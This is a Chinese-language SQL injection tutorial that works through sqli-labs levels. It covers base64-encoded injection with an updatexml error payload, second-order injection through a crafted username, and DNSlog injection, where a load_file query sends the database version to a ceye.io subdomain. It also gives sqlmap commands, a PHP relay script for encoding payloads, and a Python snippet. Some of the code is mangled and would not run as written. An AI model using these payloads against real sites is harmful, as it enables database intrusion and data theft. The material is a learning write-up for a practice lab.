SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

发布时间:2022-06-30 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

加密注入、二次漏洞注入、DNSLOG注入

加密注入:

什么是加密注入??下面将由一个例子阐述:

SQLilabs-less-21为例 1.在登录界面输入账户密码提交抓包 2.在抓到这条数据,将umane的值进行base64解密:

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

解密结果为admin(注:%3D就是=号) 在admin的基础上进行修改,bb修改为

admin' or updateXMl(1,concat(0x7e,(version())),0) or '

以上代码为盲注中的报错注入(不懂的请点我) 再进行base64加密,加密结果为: YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn,再将值替换,转发出去即可。 如下图,在右边区域爆出了数据库的名字

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

二次注入漏洞

二次注入漏洞就是在代码内部运作时产生的漏洞(代码的问题),一般黑盒测试不出结果,只有白盒测试才能进行测试 以sqlilabs-less-24为例 例如一个最简单的例子:

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

当注册一个账号aaaa后,再另外注册一个账号aaaa’#,当你登录修改aaaa’#的密码时,你会惊奇的发现,修改的却是aaaa的密码 原因是因为在他的代码中有这么一句:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们传入aaaa’#时,'$username'变为'aaaa'#形成了闭合,并用#号注释掉了后面的内容 所以在修改aaaa’#的密码时,就会修改到aaaa的头上

DNSlog注入:

DNSlog的主要作用是: 解决盲注无法回显,效率低的问题 1.注册并登录平台:ceye.io,找到主页获取Identifier

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

把下列中sql语句中的identifier的值(plnxji.ceye.io)替换成你自己的值

select * From users where id=1 and if((select load_file(concat('\\',(select version()),'.plnxji.ceye.io\abc'))),1,0);

在网站里的DNS Qucry即可看到,已经爆出了version()的值

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

当然,上面的操作还是稍微有点繁琐的,推荐一款工具: https://gIThub.COM/ADOOO/DnslogSqlinj 解压缩工具后,需要在工具中的config.py文件配置addr和api(就是网站后台那两个值)

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

运行脚本(我这里用的python2.7.13): 运行软件时,下图已经给出了命令格式(下面也有很多参数可用,这里就不详讲了)

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

运行,等待结果:

python dnslogSql.py -u "http://192.168.56.217:8080/sqlilabs/less-9/?id=1' and ({})--+"

下图即可看到成功查出用户权限以及数据库名

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

补充:

在加密注入的基础上,如果你使用了一款工具不自带base64加解密怎么办? 说明:用以下代码的目的是提供一个base64的中转,例如:http://xxxx/?id=;mQ==,其中MQ==是1通过base64加密得来的,但是你使用的工具不认得这个数据,如何解决这个问题呢???

phP脚本中转

使用php写法有一定的优势,例如通过浏览器访问127.0.0.1/test.php?x= ,这里提供了一个中转的接口,可以使用注入工具直接跑这个地址即可实现中转:

#文件名为:test.php
<? php
$url="http://xxxx/about_us.php?ID="; #目标站点,例如某站id后面都是base64加密的内容
$payload=base64_encode($_GET['x']); #设定一个被x值,被base64加密并赋值
echo $payload;
$urls=$url.$payload;  #将目标站点和被base64加密后的x拼接起来
file_get_contents($urls);
echo $urls;
?>

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

测试: 例如使用sqlmap进行测试(实质上sqlmap是有base64功能的,这里只做学习使用):

python sqlmap.py -u '127.0.0.1/test.php?x=' -v 3

python写法

python写法,我就随便写了写,好像没多大用处,用php写法比较实用。

url="http://xxxx/?id="
#coding: utf-8
import request
import base64
encodeStrTest = base64.encodestring("{id}".format(id=input("")))
urls=url+encodeStrTest
PRint(urls)

下图,输入1即可自动将转换为base64的值拼接到原网站上

@H_848_360@

脚本宝典总结

以上是脚本宝典为你收集整理的SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入全部内容,希望文章能够帮你解决SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。